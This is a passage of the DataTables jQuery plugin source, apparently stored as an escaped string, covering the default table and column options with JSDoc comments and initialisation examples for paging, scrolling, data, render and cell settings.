*         <li>'F' - jQueryUI theme \"footer\" classes ('fg-toolbar ui-widget-header ui-corner-bl ui-corner-br ui-helper-clearfix')</li>\n\t\t *       </ul>\n\t\t *     </li>\n\t\t *     <li>The following syntax is expected:\n\t\t *       <ul>\n\t\t *         <li>'&lt;' and '&gt;' - div elements</li>\n\t\t *         <li>'&lt;\"class\" and '&gt;' - div with a class</li>\n\t\t *         <li>'&lt;\"#id\" and '&gt;' - div with an ID</li>\n\t\t *       </ul>\n\t\t *     </li>\n\t\t *     <li>Examples:\n\t\t *       <ul>\n\t\t *         <li>'&lt;\"wrapper\"flipt&gt;'</li>\n\t\t *         <li>'&lt;lf&lt;t&gt;ip&gt;'</li>\n\t\t *       </ul>\n\t\t *     </li>\n\t\t *   </ul>\n\t\t *  @type string\n\t\t *  @default lfrtip <i>(when `jQueryUI` is false)</i> <b>or</b>\n\t\t *    <\"H\"lfr>t<\"F\"ip> <i>(when `jQueryUI` is true)</i>\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.dom\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"dom\": '&lt;\"top\"i&gt;rt&lt;\"bottom\"flp&gt;&lt;\"clear\"&gt;'\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sDom\": \"lfrtip\",\n\t\n\t\n\t\t/**\n\t\t * DataTables features four different built-in options for the buttons to\n\t\t * display for pagination control:\n\t\t *\n\t\t * * `simple` - 'Previous' and 'Next' buttons only\n\t\t * * 'simple_numbers` - 'Previous' and 'Next' buttons, plus page numbers\n\t\t * * `full` - 'First', 'Previous', 'Next' and 'Last' buttons\n\t\t * * `full_numbers` - 'First', 'Previous', 'Next' and 'Last' buttons, plus\n\t\t *   page numbers\n\t\t *  \n\t\t * Further methods can be added using {@link DataTable.ext.oPagination}.\n\t\t *  @type string\n\t\t *  @default simple_numbers\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.pagingType\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"pagingType\": \"full_numbers\"\n\t\t *      } );\n\t\t *    } )\n\t\t */\n\t\t\"sPaginationType\": \"simple_numbers\",\n\t\n\t\n\t\t/**\n\t\t * Enable horizontal scrolling. When a table is too wide to fit into a\n\t\t * certain layout, or you have a large number of columns in the table, you\n\t\t * can enable x-scrolling to show the table in a viewport, which can be\n\t\t * scrolled. This property can be `true` which will allow the table to\n\t\t * scroll horizontally when needed, or any CSS unit, or a number (in which\n\t\t * case it will be treated as a pixel measurement). Setting as simply `true`\n\t\t * is recommended.\n\t\t *  @type boolean|string\n\t\t *  @default <i>blank string - i.e. disabled</i>\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.scrollX\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"scrollX\": true,\n\t\t *        \"scrollCollapse\": true\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sScrollX\": \"\",\n\t\n\t\n\t\t/**\n\t\t * This property can be used to force a DataTable to use more width than it\n\t\t * might otherwise do when x-scrolling is enabled. For example if you have a\n\t\t * table which requires to be well spaced, this parameter is useful for\n\t\t * \"over-sizing\" the table, and thus forcing scrolling. This property can by\n\t\t * any CSS unit, or a number (in which case it will be treated as a pixel\n\t\t * measurement).\n\t\t *  @type string\n\t\t *  @default <i>blank string - i.e. disabled</i>\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @name DataTable.defaults.scrollXInner\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"scrollX\": \"100%\",\n\t\t *        \"scrollXInner\": \"110%\"\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sScrollXInner\": \"\",\n\t\n\t\n\t\t/**\n\t\t * Enable vertical scrolling. Vertical scrolling will constrain the DataTable\n\t\t * to the given height, and enable scrolling for any data which overflows the\n\t\t * current viewport. This can be used as an alternative to paging to display\n\t\t * a lot of data in a small area (although paging and scrolling can both be\n\t\t * enabled at the same time). This property can be any CSS unit, or a number\n\t\t * (in which case it will be treated as a pixel measurement).\n\t\t *  @type string\n\t\t *  @default <i>blank string - i.e. disabled</i>\n\t\t *\n\t\t *  @dtopt Features\n\t\t *  @name DataTable.defaults.scrollY\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"scrollY\": \"200px\",\n\t\t *        \"paginate\": false\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sScrollY\": \"\",\n\t\n\t\n\t\t/**\n\t\t * __Deprecated__ The functionality provided by this parameter has now been\n\t\t * superseded by that provided through `ajax`, which should be used instead.\n\t\t *\n\t\t * Set the HTTP method that is used to make the Ajax call for server-side\n\t\t * processing or Ajax sourced data.\n\t\t *  @type string\n\t\t *  @default GET\n\t\t *\n\t\t *  @dtopt Options\n\t\t *  @dtopt Server-side\n\t\t *  @name DataTable.defaults.serverMethod\n\t\t *\n\t\t *  @deprecated 1.10. Please use `ajax` for this functionality now.\n\t\t */\n\t\t\"sServerMethod\": \"GET\",\n\t\n\t\n\t\t/**\n\t\t * DataTables makes use of renderers when displaying HTML elements for\n\t\t * a table. These renderers can be added or modified by plug-ins to\n\t\t * generate suitable mark-up for a site. For example the Bootstrap\n\t\t * integration plug-in for DataTables uses a paging button renderer to\n\t\t * display pagination buttons in the mark-up required by Bootstrap.\n\t\t *\n\t\t * For further information about the renderers available see\n\t\t * DataTable.ext.renderer\n\t\t *  @type string|object\n\t\t *  @default null\n\t\t *\n\t\t *  @name DataTable.defaults.renderer\n\t\t *\n\t\t */\n\t\t\"renderer\": null\n\t};\n\t\n\t_fnHungarianMap( DataTable.defaults );\n\t\n\t\n\t\n\t/*\n\t * Developer note - See note in model.defaults.js about the use of Hungarian\n\t * notation and camel case.\n\t */\n\t\n\t/**\n\t * Column options that can be given to DataTables at initialisation time.\n\t *  @namespace\n\t */\n\tDataTable.defaults.column = {\n\t\t/**\n\t\t * Define which column(s) an order will occur on for this column. This\n\t\t * allows a column's ordering to take multiple columns into account when\n\t\t * doing a sort or use the data from a different column. For example first\n\t\t * name / last name columns make sense to do a multi-column sort over the\n\t\t * two columns.\n\t\t *  @type array|int\n\t\t *  @default null <i>Takes the value of the column index automatically</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.orderData\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"orderData\": [ 0, 1 ], \"targets\": [ 0 ] },\n\t\t *          { \"orderData\": [ 1, 0 ], \"targets\": [ 1 ] },\n\t\t *          { \"orderData\": 2, \"targets\": [ 2 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"orderData\": [ 0, 1 ] },\n\t\t *          { \"orderData\": [ 1, 0 ] },\n\t\t *          { \"orderData\": 2 },\n\t\t *          null,\n\t\t *          null\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"aDataSort\": null,\n\t\t\"iDataSort\": -1,\n\t\n\t\n\t\t/**\n\t\t * You can control the default ordering direction, and even alter the\n\t\t * behaviour of the sort handler (i.e. only allow ascending ordering etc)\n\t\t * using this parameter.\n\t\t *  @type array\n\t\t *  @default [ 'asc', 'desc' ]\n\t\t *\n\t\t *  @name DataTable.defaults.column.orderSequence\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"orderSequence\": [ \"asc\" ], \"targets\": [ 1 ] },\n\t\t *          { \"orderSequence\": [ \"desc\", \"asc\", \"asc\" ], \"targets\": [ 2 ] },\n\t\t *          { \"orderSequence\": [ \"desc\" ], \"targets\": [ 3 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          null,\n\t\t *          { \"orderSequence\": [ \"asc\" ] },\n\t\t *          { \"orderSequence\": [ \"desc\", \"asc\", \"asc\" ] },\n\t\t *          { \"orderSequence\": [ \"desc\" ] },\n\t\t *          null\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"asSorting\": [ 'asc', 'desc' ],\n\t\n\t\n\t\t/**\n\t\t * Enable or disable filtering on the data in this column.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @name DataTable.defaults.column.searchable\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"searchable\": false, \"targets\": [ 0 ] }\n\t\t *        ] } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"searchable\": false },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ] } );\n\t\t *    } );\n\t\t */\n\t\t\"bSearchable\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable ordering on this column.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @name DataTable.defaults.column.orderable\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"orderable\": false, \"targets\": [ 0 ] }\n\t\t *        ] } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"orderable\": false },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ] } );\n\t\t *    } );\n\t\t */\n\t\t\"bSortable\": true,\n\t\n\t\n\t\t/**\n\t\t * Enable or disable the display of this column.\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t *\n\t\t *  @name DataTable.defaults.column.visible\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"visible\": false, \"targets\": [ 0 ] }\n\t\t *        ] } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"visible\": false },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ] } );\n\t\t *    } );\n\t\t */\n\t\t\"bVisible\": true,\n\t\n\t\n\t\t/**\n\t\t * Developer definable function that is called whenever a cell is created (Ajax source,\n\t\t * etc) or processed for input (DOM source). This can be used as a compliment to mRender\n\t\t * allowing you to modify the DOM element (add background colour for example) when the\n\t\t * element is available.\n\t\t *  @type function\n\t\t *  @param {element} td The TD node that has been created\n\t\t *  @param {*} cellData The Data for the cell\n\t\t *  @param {array|object} rowData The data for the whole row\n\t\t *  @param {int} row The row index for the aoData data store\n\t\t *  @param {int} col The column index for aoColumns\n\t\t *\n\t\t *  @name DataTable.defaults.column.createdCell\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [3],\n\t\t *          \"createdCell\": function (td, cellData, rowData, row, col) {\n\t\t *            if ( cellData == \"1.7\" ) {\n\t\t *              $(td).css('color', 'blue')\n\t\t *            }\n\t\t *          }\n\t\t *        } ]\n\t\t *      });\n\t\t *    } );\n\t\t */\n\t\t\"fnCreatedCell\": null,\n\t\n\t\n\t\t/**\n\t\t * This parameter has been replaced by `data` in DataTables to ensure naming\n\t\t * consistency. `dataProp` can still be used, as there is backwards\n\t\t * compatibility in DataTables for this option, but it is strongly\n\t\t * recommended that you use `data` in preference to `dataProp`.\n\t\t *  @name DataTable.defaults.column.dataProp\n\t\t */\n\t\n\t\n\t\t/**\n\t\t * This property can be used to read data from any data source property,\n\t\t * including deeply nested objects / properties. `data` can be given in a\n\t\t * number of different ways which effect its behaviour:\n\t\t *\n\t\t * * `integer` - treated as an array index for the data source. This is the\n\t\t *   default that DataTables uses (incrementally increased for each column).\n\t\t * * `string` - read an object property from the data source. There are\n\t\t *   three 'special' options that can be used in the string to alter how\n\t\t *   DataTables reads the data from the source object:\n\t\t *    * `.` - Dotted Javascript notation. Just as you use a `.` in\n\t\t *      Javascript to read from nested objects, so to can the options\n\t\t *      specified in `data`. For example: `browser.version` or\n\t\t *      `browser.name`. If your object parameter name contains a period, use\n\t\t *      `\\\\` to escape it - i.e. `first\\\\.name`.\n\t\t *    * `[]` - Array notation. DataTables can automatically combine data\n\t\t *      from and array source, joining the data with the characters provided\n\t\t *      between the two brackets. For example: `name[, ]` would provide a\n\t\t *      comma-space separated list from the source array. If no characters\n\t\t *      are provided between the brackets, the original array source is\n\t\t *      returned.\n\t\t *    * `()` - Function notation. Adding `()` to the end of a parameter will\n\t\t *      execute a function of the name given. For example: `browser()` for a\n\t\t *      simple function on the data source, `browser.version()` for a\n\t\t *      function in a nested property or even `browser().version` to get an\n\t\t *      object property if the function called returns an object. Note that\n\t\t *      function notation is recommended for use in `render` rather than\n\t\t *      `data` as it is much simpler to use as a renderer.\n\t\t * * `null` - use the original data source for the row rather than plucking\n\t\t *   data directly from it. This action has effects on two other\n\t\t *   initialisation options:\n\t\t *    * `defaultContent` - When null is given as the `data` option and\n\t\t *      `defaultContent` is specified for the column, the value defined by\n\t\t *      `defaultContent` will be used for the cell.\n\t\t *    * `render` - When null is used for the `data` option and the `render`\n\t\t *      option is specified for the column, the whole data source for the\n\t\t *      row is used for the renderer.\n\t\t * * `function` - the function given will be executed whenever DataTables\n\t\t *   needs to set or get the data for a cell in the column. The function\n\t\t *   takes three parameters:\n\t\t *    * Parameters:\n\t\t *      * `{array|object}` The data source for the row\n\t\t *      * `{string}` The type call data requested - this will be 'set' when\n\t\t *        setting data or 'filter', 'display', 'type', 'sort' or undefined\n\t\t *        when gathering data. Note that when `undefined` is given for the\n\t\t *        type DataTables expects to get the raw data for the object back<\n\t\t *      * `{*}` Data to set when the second parameter is 'set'.\n\t\t *    * Return:\n\t\t *      * The return value from the function is not required when 'set' is\n\t\t *        the type of call, but otherwise the return is what will be used\n\t\t *        for the data requested.\n\t\t *\n\t\t * Note that `data` is a getter and setter option. If you just require\n\t\t * formatting of data for output, you will likely want to use `render` which\n\t\t * is simply a getter and thus simpler to use.\n\t\t *\n\t\t * Note that prior to DataTables 1.9.2 `data` was called `mDataProp`. The\n\t\t * name change reflects the flexibility of this property and is consistent\n\t\t * with the naming of mRender. If 'mDataProp' is given, then it will still\n\t\t * be used by DataTables, as it automatically maps the old name to the new\n\t\t * if required.\n\t\t *\n\t\t *  @type string|int|function|null\n\t\t *  @default null <i>Use automatically calculated column index</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.data\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Read table data from objects\n\t\t *    // JSON structure for each row:\n\t\t *    //   {\n\t\t *    //      \"engine\": {value},\n\t\t *    //      \"browser\": {value},\n\t\t *    //      \"platform\": {value},\n\t\t *    //      \"version\": {value},\n\t\t *    //      \"grade\": {value}\n\t\t *    //   }\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"ajaxSource\": \"sources/objects.txt\",\n\t\t *        \"columns\": [\n\t\t *          { \"data\": \"engine\" },\n\t\t *          { \"data\": \"browser\" },\n\t\t *          { \"data\": \"platform\" },\n\t\t *          { \"data\": \"version\" },\n\t\t *          { \"data\": \"grade\" }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Read information from deeply nested objects\n\t\t *    // JSON structure for each row:\n\t\t *    //   {\n\t\t *    //      \"engine\": {value},\n\t\t *    //      \"browser\": {value},\n\t\t *    //      \"platform\": {\n\t\t *    //         \"inner\": {value}\n\t\t *    //      },\n\t\t *    //      \"details\": [\n\t\t *    //         {value}, {value}\n\t\t *    //      ]\n\t\t *    //   }\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"ajaxSource\": \"sources/deep.txt\",\n\t\t *        \"columns\": [\n\t\t *          { \"data\": \"engine\" },\n\t\t *          { \"data\": \"browser\" },\n\t\t *          { \"data\": \"platform.inner\" },\n\t\t *          { \"data\": \"platform.details.0\" },\n\t\t *          { \"data\": \"platform.details.1\" }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `data` as a function to provide different information for\n\t\t *    // sorting, filtering and display. In this case, currency (price)\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"data\": function ( source, type, val ) {\n\t\t *            if (type === 'set') {\n\t\t *              source.price = val;\n\t\t *              // Store the computed dislay and filter values for efficiency\n\t\t *              source.price_display = val==\"\" ? \"\" : \"$\"+numberFormat(val);\n\t\t *              source.price_filter  = val==\"\" ? \"\" : \"$\"+numberFormat(val)+\" \"+val;\n\t\t *              return;\n\t\t *            }\n\t\t *            else if (type === 'display') {\n\t\t *              return source.price_display;\n\t\t *            }\n\t\t *            else if (type === 'filter') {\n\t\t *              return source.price_filter;\n\t\t *            }\n\t\t *            // 'sort', 'type' and undefined all just use the integer\n\t\t *            return source.price;\n\t\t *          }\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using default content\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"data\": null,\n\t\t *          \"defaultContent\": \"Click to edit\"\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using array notation - outputting a list from an array\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"data\": \"name[, ]\"\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t */\n\t\t\"mData\": null,\n\t\n\t\n\t\t/**\n\t\t * This property is the rendering partner to `data` and it is suggested that\n\t\t * when you want to manipulate data for display (including filtering,\n\t\t * sorting etc) without altering the underlying data for the table, use this\n\t\t * property. `render` can be considered to be the the read only companion to\n\t\t * `data` which is read / write (then as such more complex). Like `data`\n\t\t * this option can be given in a number of different ways to effect its\n\t\t * behaviour:\n\t\t *\n\t\t * * `integer` - treated as an array index for the data source. This is the\n\t\t *   default that DataTables uses (incrementally increased for each column).\n\t\t * * `string` - read an object property from the data source. There are\n\t\t *   three 'special' options that can be used in the string to alter how\n\t\t *   DataTables reads the data from the source object:\n\t\t *    * `.` - Dotted Javascript notation. Just as you use a `.` in\n\t\t *      Javascript to read from nested objects, so to can the options\n\t\t *      specified in `data`. For example: `browser.version` or\n\t\t *      `browser.name`. If your object parameter name contains a period, use\n\t\t *      `\\\\` to escape it - i.e. `first\\\\.name`.\n\t\t *    * `[]` - Array notation. DataTables can automatically combine data\n\t\t *      from and array source, joining the data with the characters provided\n\t\t *      between the two brackets. For example: `name[, ]` would provide a\n\t\t *      comma-space separated list from the source array. If no characters\n\t\t *      are provided between the brackets, the original array source is\n\t\t *      returned.\n\t\t *    * `()` - Function notation. Adding `()` to the end of a parameter will\n\t\t *      execute a function of the name given. For example: `browser()` for a\n\t\t *      simple function on the data source, `browser.version()` for a\n\t\t *      function in a nested property or even `browser().version` to get an\n\t\t *      object property if the function called returns an object.\n\t\t * * `object` - use different data for the different data types requested by\n\t\t *   DataTables ('filter', 'display', 'type' or 'sort'). The property names\n\t\t *   of the object is the data type the property refers to and the value can\n\t\t *   defined using an integer, string or function using the same rules as\n\t\t *   `render` normally does. Note that an `_` option _must_ be specified.\n\t\t *   This is the default value to use if you haven't specified a value for\n\t\t *   the data type requested by DataTables.\n\t\t * * `function` - the function given will be executed whenever DataTables\n\t\t *   needs to set or get the data for a cell in the column. The function\n\t\t *   takes three parameters:\n\t\t *    * Parameters:\n\t\t *      * {array|object} The data source for the row (based on `data`)\n\t\t *      * {string} The type call data requested - this will be 'filter',\n\t\t *        'display', 'type' or 'sort'.\n\t\t *      * {array|object} The full data source for the row (not based on\n\t\t *        `data`)\n\t\t *    * Return:\n\t\t *      * The return value from the function is what will be used for the\n\t\t *        data requested.\n\t\t *\n\t\t *  @type string|int|function|object|null\n\t\t *  @default null Use the data source value.\n\t\t *\n\t\t *  @name DataTable.defaults.column.render\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Create a comma separated list from an array of objects\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"ajaxSource\": \"sources/deep.txt\",\n\t\t *        \"columns\": [\n\t\t *          { \"data\": \"engine\" },\n\t\t *          { \"data\": \"browser\" },\n\t\t *          {\n\t\t *            \"data\": \"platform\",\n\t\t *            \"render\": \"[, ].name\"\n\t\t *          }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Execute a function to obtain data\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"data\": null, // Use the full data source object for the renderer's source\n\t\t *          \"render\": \"browserName()\"\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // As an object, extracting different data for the different types\n\t\t *    // This would be used with a data source such as:\n\t\t *    //   { \"phone\": 5552368, \"phone_filter\": \"5552368 555-2368\", \"phone_display\": \"555-2368\" }\n\t\t *    // Here the `phone` integer is used for sorting and type detection, while `phone_filter`\n\t\t *    // (which has both forms) is used for filtering for if a user inputs either format, while\n\t\t *    // the formatted phone number is the one that is shown in the table.\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"data\": null, // Use the full data source object for the renderer's source\n\t\t *          \"render\": {\n\t\t *            \"_\": \"phone\",\n\t\t *            \"filter\": \"phone_filter\",\n\t\t *            \"display\": \"phone_display\"\n\t\t *          }\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Use as a function to create a link from the data source\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"data\": \"download_link\",\n\t\t *          \"render\": function ( data, type, full ) {\n\t\t *            return '<a href=\"'+data+'\">Download</a>';\n\t\t *          }\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"mRender\": null,\n\t\n\t\n\t\t/**\n\t\t * Change the cell type created for the column - either TD cells or TH cells. This\n\t\t * can be useful as TH cells have semantic meaning in the table body, allowing them\n\t\t * to act as a header for a row (you may wish to add scope='row' to the TH elements).\n\t\t *  @type string\n\t\t *  @default td\n\t\t *\n\t\t *  @name DataTable.defaults.column.cellType\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Make the first column use TH cells\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [ {\n\t\t *          \"targets\": [ 0 ],\n\t\t *          \"cellType\": \"th\"\n\t\t *        } ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sCellType\": \"td\",\n\t\n\t\n\t\t/**\n\t\t * Class to give to each cell in this column.\n\t\t *  @type string\n\t\t *  @default <i>Empty string</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.class\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"class\": \"my_class\", \"targets\": [ 0 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"class\": \"my_class\" },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sClass\": \"\",\n\t\n\t\t/**\n\t\t * When DataTables calculates the column widths to assign to each column,\n\t\t * it finds the longest string in each column and then constructs a\n\t\t * temporary table and reads the widths from that. The problem with this\n\t\t * is that \"mmm\" is much wider then \"iiii\", but the latter is a longer\n\t\t * string - thus the calculation can go wrong (doing it properly and putting\n\t\t * it into an DOM object and measuring that is horribly(!) slow). Thus as\n\t\t * a \"work around\" we provide this option. It will append its value to the\n\t\t * text that is found to be the longest string for the column - i.e. padding.\n\t\t * Generally you shouldn't need this!\n\t\t *  @type string\n\t\t *  @default <i>Empty string<i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.contentPadding\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          {\n\t\t *            \"contentPadding\": \"mmm\"\n\t\t *          }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sContentPadding\": \"\",\n\t\n\t\n\t\t/**\n\t\t * Allows a default value to be given for a column's data, and will be used\n\t\t * whenever a null data source is encountered (this can be because `data`\n\t\t * is set to null, or because the data source itself is null).\n\t\t *  @type string\n\t\t *  @default null\n\t\t *\n\t\t *  @name DataTable.defaults.column.defaultContent\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          {\n\t\t *            \"data\": null,\n\t\t *            \"defaultContent\": \"Edit\",\n\t\t *            \"targets\": [ -1 ]\n\t\t *          }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          {\n\t\t *            \"data\": null,\n\t\t *            \"defaultContent\": \"Edit\"\n\t\t *          }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sDefaultContent\": null,\n\t\n\t\n\t\t/**\n\t\t * This parameter is only used in DataTables' server-side processing. It can\n\t\t * be exceptionally useful to know what columns are being displayed on the\n\t\t * client side, and to map these to database fields. When defined, the names\n\t\t * also allow DataTables to reorder information from the server if it comes\n\t\t * back in an unexpected order (i.e. if you switch your columns around on the\n\t\t * client-side, your server-side code does not also need updating).\n\t\t *  @type string\n\t\t *  @default <i>Empty string</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.name\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"name\": \"engine\", \"targets\": [ 0 ] },\n\t\t *          { \"name\": \"browser\", \"targets\": [ 1 ] },\n\t\t *          { \"name\": \"platform\", \"targets\": [ 2 ] },\n\t\t *          { \"name\": \"version\", \"targets\": [ 3 ] },\n\t\t *          { \"name\": \"grade\", \"targets\": [ 4 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"name\": \"engine\" },\n\t\t *          { \"name\": \"browser\" },\n\t\t *          { \"name\": \"platform\" },\n\t\t *          { \"name\": \"version\" },\n\t\t *          { \"name\": \"grade\" }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sName\": \"\",\n\t\n\t\n\t\t/**\n\t\t * Defines a data source type for the ordering which can be used to read\n\t\t * real-time information from the table (updating the internally cached\n\t\t * version) prior to ordering. This allows ordering to occur on user\n\t\t * editable elements such as form 